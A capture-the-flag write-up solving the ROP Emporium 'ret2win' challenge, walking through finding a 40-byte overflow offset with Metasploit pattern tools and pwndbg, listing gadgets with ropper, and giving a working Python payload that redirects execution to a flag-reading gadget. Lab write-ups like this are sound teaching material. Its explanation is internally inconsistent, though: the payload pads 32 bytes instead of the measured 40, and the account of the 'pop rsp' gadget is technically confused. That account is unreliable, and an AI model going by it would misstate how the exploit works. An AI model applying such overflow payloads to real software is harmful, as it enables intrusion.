Introduction

The Ropemporium is a platform that provides precompiled files which are vulnerable for buffer overflow and the goal is to exploit the buffer overflow vulnerability using return oriented programming (ROP) to build a chain which reads the flag. In this article I’ll be going through building a ROP chain which solves the ret2win challenge.

Baseline Command

The most common way of sending custom crafted exploit to a vulnerable executable program is by using the following Python one liner command.

Command
python3 -c 'import sys; sys.stdout.buffer.write(b"A" * 100)' | ./ret2win

Offset

The offset where the buffer overflow occurs in the ret2win executable program can be found by using tools such as msf-pattern_create, msf-pattern_offset and pwndbg. Here is an step-by-step instruction to find the buffer overflow offset.

kali@kali:~/Ropemporium/ret2win$ msf-pattern_create -l 100                                   
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
pwndbg> run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A")')
...
00:0000│ rsp 0x7fffffffdb08 ◂— 0x3562413462413362 ('b3Ab4Ab5')
01:0008│     0x7fffffffdb10 ◂— 0x6241376241366241 ('Ab6Ab7Ab')
02:0010│     0x7fffffffdb18 —▸ 0x7ffff7dd5ca8 ◂— mov edi, eax
03:0018│     0x7fffffffdb20 —▸ 0x7fffffffdc10 —▸ 0x7fffffffdc18 ◂— 0x38 /* '8' */
04:0020│     0x7fffffffdb28 —▸ 0x400697 (main) ◂— push rbp
05:0028│     0x7fffffffdb30 ◂— 0x100400040 /* '@' */
06:0030│     0x7fffffffdb38 —▸ 0x7fffffffdc28 —▸ 0x7fffffffdfc1 ◂— '/home/kali/Ropemporium/ret2win/ret2win'
07:0038│     0x7fffffffdb40 —▸ 0x7fffffffdc28 —▸ 0x7fffffffdfc1 ◂— '/home/kali/Ropemporium/ret2win/ret2win'
...
 
kali@kali:~/Ropemporium/ret2win$ msf-pattern_offset -l 100 -q 0x3562413462413362
[*] Exact match at offset 40

The msf-pattern_create command is used to generate a pattern and the pwndbg allows us to get the rsp register value and the msf-pattern_offset command is used to find the exact offset where the buffer overflow vulnerability occurs.

Exploit

The ropper is a Linux based tool that finds all the ROP gadgets in a executable program and to collect all the ROP gadgets of the ret2win executable program use the following command.

kali@kali:~/Ropemporium/ret2win$ ropper --file=ret2win > ret2win.gadgets
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

I understand that there are a-lot of ROP gadgets that are generated in ret2win.gadgets file. However, the primary ROP gadgets that I’m interested in is the following.

# First Gadget
0x00000000004007dd: pop rsp; pop r13; pop r14; pop r15; ret;
# Second Gadget 
0x0000000000400764: mov edi, 0x400943; call 0x560; nop; pop rbp; ret; 

The first gadget allows us to change the value in the RSP register which allows us to execute any code in the executable program. However, instead of executing random instructions the second gadget will be executed instead which will read the flag.txt file for us.

python3 -c 'import sys; sys.stdout.buffer.write(b"A" * 32 + b"\xdd\x07\x40\x00\x00\x00\x00\x00" + b"\x64\x07\x40\x00\x00\x00\x00\x00" + b"B"  * 8 + b"C" * 8 + b"D" * 8)' | ./ret2win

I’ll try to explain the ROP gadgets in bullet points and the simplest way possible to hopefully help you understand what that command does.

  • b"A" *32 is our padding data that will allow us to access the exact buffer overflow offset.
  • b"\xdd\x07\x40\x00\x00\x00\x00\x00" is the First Gadget which will perform POP operations on RSP, R13, R14, and R15 registers.
  • b"\x64\x07\x40\x00\x00\x00\x00\x00" is the 0x400764 address which will be popped to the RSP register.
  • b"B" * 8 + b"C" * 8 + b"D" * 8 are padding data that will be added to the R13, R14, and R15 registers.

I understand that this might be confusing but the critical thing to understand is that the First Gadget performs POP operations and instead of sending padding data to POP RSP we are instead sending the instructions that we want the executable program to execute.

Conclusion

The ROP concept is the same in both Windows and Linux systems where the purpose is to execute instructions which comes with return to modify the register values. The only thing that is different is the tools we are using such as instead of using Windbg we will instead use pwndbg. I’ll be writing more about ropemporium in the coming weeks.